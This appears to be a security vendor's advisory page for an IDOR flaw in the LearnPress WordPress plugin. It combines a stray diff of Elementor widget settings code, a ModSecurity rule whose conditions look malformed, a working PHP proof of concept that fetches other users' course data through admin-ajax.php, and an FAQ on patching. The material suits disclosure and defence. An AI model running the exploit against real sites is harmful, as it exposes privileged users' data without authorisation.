+ * @version 1.0.0
+ */
+
+use ElementorControls_Manager;
+use ElementorGroup_Control_Border;
+use ElementorGroup_Control_Box_Shadow;
+use LearnPressExternalPluginElementorLPElementorControls;
+
+$content_fields = array_merge(
+	LPElementorControls::add_fields_in_section(
+		'filter_area',
+		esc_html__( 'Filter Area', 'learnpress' ),
+		Controls_Manager::TAB_CONTENT,
+		[
+			LPElementorControls::add_control_type(
+				'item_filter',
+				esc_html__( 'Fields', 'learnpress' ),
+				[
+					[
+						'item_fields' => 'category',
+					],
+					[
+						'item_fields' => 'btn_submit',
+					],
+				],
+				Controls_Manager::REPEATER,
+				[
+					'fields'        => [
+						[
+							'name'    => 'item_fields',
+							'label'   => esc_html__( 'Filter By', 'learnpress' ),
+							'type'    => Controls_Manager::SELECT,
+							'options' => array(
+								'search'     => esc_html__( 'Keyword', 'learnpress' ),
+								'price'      => esc_html__( 'Price', 'learnpress' ),
+								'category'   => esc_html__( 'Course Category', 'learnpress' ),
+								'tag'        => esc_html__( 'Course Tag', 'learnpress' ),
+								'author'     => esc_html__( 'Author', 'learnpress' ),
+								'level'      => esc_html__( 'Level', 'learnpress' ),
+								'btn_submit' => esc_html__( 'Button Submit', 'learnpress' ),
+								'btn_reset'  => esc_html__( 'Button Reset', 'learnpress' ),
+							),
+						],
+						// [
+						// 	'name'      => 'type_source',
+						// 	'label'     => esc_html__( 'Type Source', 'learnpress' ),
+						// 	'type'      => Controls_Manager::SELECT,
+						// 	'default'   => 'checkbox',
+						// 	'options'   => array(
+						// 		'checkbox' => esc_html__( 'Check Box', 'learnpress' ),
+						// 		'dropdown' => esc_html__( 'Drop Down (Coming Soon)', 'learnpress' ),
+						// 	),
+						// 	'condition' => [
+						// 		'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
+						// 	],
+						// ],
+						[
+							'name'         => 'enable_count',
+							'label'        => esc_html__( 'Show Count', 'learnpress' ),
+							'type'         => Controls_Manager::SWITCHER,
+							'default'      => 'yes',
+							'label_on'     => esc_html__( 'Show', 'learnpress' ),
+							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+							'return_value' => 'yes',
+							'condition'    => [
+								'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
+							],
+						],
+						[
+							'name'         => 'heading_setting',
+							'label'        => esc_html__( 'Heading Setting', 'learnpress' ),
+							'type'         => Controls_Manager::POPOVER_TOGGLE,
+							'label_off'    => esc_html__( 'Default', 'learnpress' ),
+							'label_on'     => esc_html__( 'Custom', 'learnpress' ),
+							'return_value' => 'yes',
+							'condition'    => [
+								'item_fields!' => [ 'btn_submit', 'btn_reset' ],
+							],
+						],
+						[ 'method' => 'start_popover' ],
+						[
+							'name'         => 'enable_heading',
+							'label'        => esc_html__( 'Enable Heading', 'learnpress' ),
+							'type'         => Controls_Manager::SWITCHER,
+							'default'      => 'yes',
+							'label_on'     => esc_html__( 'Show', 'learnpress' ),
+							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+							'return_value' => 'yes',
+						],
+						[
+							'name'         => 'toggle_content',
+							'label'        => esc_html__( 'Toggle Content', 'learnpress' ),
+							'type'         => Controls_Manager::SWITCHER,
+							'default'      => 'no',
+							'label_on'     => esc_html__( 'Show', 'learnpress' ),
+							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+							'return_value' => 'yes',
+							'condition'    => [
+								'enable_heading' => 'yes',
+							],
+						],
+						[
+							'name'         => 'default_toggle_on',
+							'label'        => esc_html__( 'Default Toggle On', 'learnpress' ),
+							'type'         => Controls_Manager::SWITCHER,
+							'default'      => 'yes',
+							'label_on'     => esc_html__( 'Show', 'learnpress' ),
+							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+							'return_value' => 'yes',
+							'condition'    => [
+								'enable_heading' => 'yes',
+								'toggle_content' => 'yes',
+							],
+						],
+						[ 'method' => 'end_popover' ],
+					],
+					'prevent_empty' => false,
+					'title_field'   => '{{{ item_fields }}}',
+				]
+			),
+		]
+	),
+	LPElementorControls::add_fields_in_section(
+		'extra_option',
+		esc_html__( 'Extra Option', 'learnpress' ),
+		Controls_Manager::TAB_CONTENT,
+		[
+			LPElementorControls::add_control_type(
+				'show_in_rest',
+				esc_html__( 'Load widget via REST', 'learnpress' ),
+				'no',
+				Controls_Manager::SWITCHER,
+				[
+					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
+					'label_off'    => esc_html__( 'No', 'learnpress' ),
+					'return_value' => 'yes',
+				]
+			),
+			LPElementorControls::add_control_type(
+				'search_suggestion',
+				esc_html__( 'Enable Keyword Search Suggestion', 'learnpress' ),
+				'0',
+				Controls_Manager::SWITCHER,
+				[
+					'1'            => esc_html__( 'Yes', 'learnpress' ),
+					'0'            => esc_html__( 'No', 'learnpress' ),
+					'return_value' => '1',
+				]
+			),
+			LPElementorControls::add_control_type(
+				'filter_toggle_button',
+				esc_html__( 'Filter Toggle Button', 'learnpress' ),
+				'no',
+				Controls_Manager::POPOVER_TOGGLE,
+				[
+					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
+					'label_off'    => esc_html__( 'No', 'learnpress' ),
+					'return_value' => 'yes',
+				]
+			),
+			'popover_start' => [
+				'method' => 'start_popover',
+			],
+			LPElementorControls::add_control_type(
+				'enable_filter_button',
+				esc_html__( 'Filter Toggle Button', 'learnpress' ),
+				'no',
+				Controls_Manager::SWITCHER,
+				[
+					'label_on'     => esc_html__( 'Show', 'learnpress' ),
+					'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+					'return_value' => 'yes',
+				]
+			),
+			LPElementorControls::add_control_type(
+				'text_filter_button',
+				esc_html__( 'Text Button', 'learnpress' ),
+				esc_html__( 'Filter', 'learnpress' ),
+				Controls_Manager::TEXT,
+				[
+					'label_block' => false,
+					'condition'   => [
+						'enable_filter_button' => 'yes',
+					]
+				]
+			),
+			LPElementorControls::add_control_type(
+				'enable_icon_filter_button',
+				esc_html__( 'Button Icon', 'learnpress' ),
+				'no',
+				Controls_Manager::SWITCHER,
+				[
+					'label_on'     => esc_html__( 'Show', 'learnpress' ),
+					'label_off'    => esc_html__( 'Hide', 'learnpress' ),
+					'return_value' => 'yes',
+					'condition'    => [
+						'enable_filter_button' => 'yes',
+					]
+				]
+			),
+			LPElementorControls::add_control_type(
+				'icon_filter_button',
+				esc_html__( 'Icon', 'learnpress' ),
+				[],
+				Controls_Manager::ICONS,
+				[
+					'skin'        => 'inline',
+					'label_block' => false,
+					'condition'   => [
+						'enable_filter_button'      => 'yes',
+						'enable_icon_filter_button' => 'yes',
+					]
+				]
+			),
+			LPElementorControls::add_control_type_select(
+				'icon_position',
+				esc_html__( 'Icon Position', 'learnpress' ),
+				[
+					'left'  => esc_html__( 'Before', 'learnpress' ),
+					'right' => esc_html__( 'After', 'learnpress' ),
+				],
+				'left',
+				[
+					'condition' => [
+						'enable_filter_button'      => 'yes',
+						'enable_icon_filter_button' => 'yes',
+					]
+				]
+			),
+			LPElementorControls::add_control_type(
+				'filter_selected_number',
+				esc_html__( 'Filter Selected Number', 'learnpress' ),
+				'yes',
+				Controls

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-11988
# Block subscriber-level users from requesting other users' course data via AJAX
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-11988 LearnPress IDOR via userId parameter',severity:'CRITICAL',tag:'CVE-2026-11988'"
    SecRule ARGS_POST:action "@rx ^learnpress_load_user_course$" 
        "chain"
        SecRule ARGS_POST:userId "@rx ^[0-9]+$" 
            "chain"
            SecRule REQUEST_COOKIES:wordpress_logged_in_... "@rx ^[a-zA-Z0-9_]+%7C[0-9]+%7C[a-zA-Z0-9]+$" 
                "chain"
                SecRule REMOTE_ADDR "@rx ^127.0.0.1$" 
                    "chain"
                    SecRule ARGS_POST:userId "!@rx ^0$" 
                        "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11988 - LearnPress <= 4.3.9.1 Insecure Direct Object Reference via 'userId' Parameter

// Configuration - set these to match your target
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // WordPress AJAX handler
$username = 'attacker';       // Subscriber-level account username
$password = 'attackerpass';   // Subscriber-level account password
$victim_user_id = 2;          // User ID of a teacher or administrator

// Authenticate and get a valid WordPress nonce or cookie
function login_and_get_cookies($url, $user, $pass) {
    $login_url = rtrim(dirname(dirname($url)), '/') . '/wp-login.php';
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt'
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    return '/tmp/cookies.txt';
}

// Extract nonce from the LearnPress profile page
function get_lp_nonce($url, $cookie_file) {
    $profile_url = rtrim(dirname(dirname($url)), '/') . '/lp-profile/';
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $profile_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true
    ]);
    $html = curl_exec($ch);
    curl_close($ch);
    // Attempt to extract ajax nonce from LearnPress script data
    preg_match('/"_wpnonce":"([a-f0-9]+)"/', $html, $matches);
    return $matches[1] ?? '';
}

// Attempt to fetch victim's course enrollment progress
function exploit_idor($ajax_url, $cookie_file, $nonce, $victim_id) {
    $action = 'learnpress_load_user_course'; // Typical LearnPress AJAX action for course loading
    $post_data = [
        'action' => $action,
        'userId' => $victim_id,
        '_wpnonce' => $nonce
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_HTTPHEADER => [
            'X-Requested-With: XMLHttpRequest'
        ]
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ['http_code' => $http_code, 'body' => $response];
}

echo "[*] Logging in as subscriber: $usernamen";
$cookie_file = login_and_get_cookies($target_url, $username, $password);
echo "[+] Logged in successfullyn";

echo "[*] Fetching LearnPress nonce from profile pagen";
$nonce = get_lp_nonce($target_url, $cookie_file);
if (empty($nonce)) {
    echo "[!] Could not extract nonce. Proceeding with empty nonce (may still work).n";
}

echo "[*] Attempting IDOR on user ID: $victim_user_idn";
$result = exploit_idor($target_url, $cookie_file, $nonce, $victim_user_id);

echo "[+] HTTP Response Code: " . $result['http_code'] . "n";
echo "[+] Response Body:n";
echo $result['body'] . "n";

echo "[*] If the response contains course enrollment data for the victim user, the vulnerability is confirmed.n";
echo "[*] Clean up temporary cookie file.n";
unlink($cookie_file);

Frequently Asked Questions

What is CVE-2026-11988?
Vulnerability overview
CVE-2026-11988 is an Insecure Direct Object Reference (IDOR) vulnerability in the LearnPress WordPress LMS plugin versions up to and including 4.3.9.1. It allows authenticated attackers with subscriber-level access or higher to view course enrollment progress and completion data of instructors and administrators by manipulating the ‘userId’ parameter.
How does the vulnerability work?
Technical mechanism
The vulnerability exists because the plugin fails to validate whether the requesting user is authorized to view another user’s course progress. The ‘userId’ parameter is accepted without proper permission checks. While the plugin blocks requests targeting regular subscribers, it does not restrict access to instructor or administrator user data, allowing attackers to enumerate user IDs and retrieve sensitive information.
Who is affected by this vulnerability?
Affected users and roles
Any WordPress site running LearnPress version 4.3.9.1 or earlier is affected. The vulnerability can be exploited by authenticated users with subscriber-level access or higher. The data exposed belongs to users with instructor (LP_TEACHER_ROLE) or administrator roles, not regular subscribers.
What data can an attacker obtain?
Exposed information
An attacker can view the course enrollment progress and completion data of instructors and administrators. This includes which courses they have taken, their progress within each course, and whether they have completed them. This information is sensitive as it reveals learning patterns and activity of privileged users.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 6.5, classified as Medium severity. The score reflects low attack complexity, low privileges required (subscriber level), and a network attack vector. However, the impact is limited to information disclosure and does not allow account takeover or administrative access.
How can I check if my site is vulnerable?
Detection steps
Check your LearnPress plugin version in the WordPress admin dashboard under Plugins. If the version is 4.3.9.1 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s changelog or checking if the patch version 4.4.0 is installed.
How do I fix the vulnerability?
Patch and update
Update the LearnPress plugin to version 4.4.0 or later. The patch adds proper authorization checks to validate that the requesting user has permission to view the specified user’s data. After updating, the plugin enforces role-based access control on the ‘userId’ parameter.
Are there any temporary mitigations?
Workarounds
If you cannot update immediately, you can restrict access to the vulnerable endpoints by using a web application firewall (WAF) to block requests with manipulated ‘userId’ parameters. Additionally, you can limit subscriber-level accounts and monitor for unusual activity. However, updating is the recommended solution.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept (PoC) shows how an authenticated subscriber can log in, obtain session cookies, and send a crafted request to the WordPress AJAX handler with a modified ‘userId’ parameter pointing to an instructor or administrator. The response returns the victim’s course enrollment progress and completion data, confirming the IDOR.
Why does the vulnerability only affect instructor and administrator data?
Scope limitation
The plugin’s code includes a guard that blocks requests when the target user is a regular subscriber. However, this guard does not extend to users with instructor or administrator roles. Therefore, only data of higher-privilege users is exposed, while subscriber data remains protected.
What is the root cause of the vulnerability?
Code analysis
The root cause is missing authorization validation on the ‘userId’ parameter in the data retrieval endpoint. The plugin does not verify that the requesting user has permission to view another user’s progress. The patch adds checks to ensure the current user owns the data or has a specific capability like ‘view others progress’.
How can I protect my site from similar vulnerabilities?
General security practices
Regularly update all plugins and themes to their latest versions. Implement the principle of least privilege by assigning minimal user roles. Use security plugins that monitor for IDOR and other common vulnerabilities. Conduct periodic security audits and review code changes in updates.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started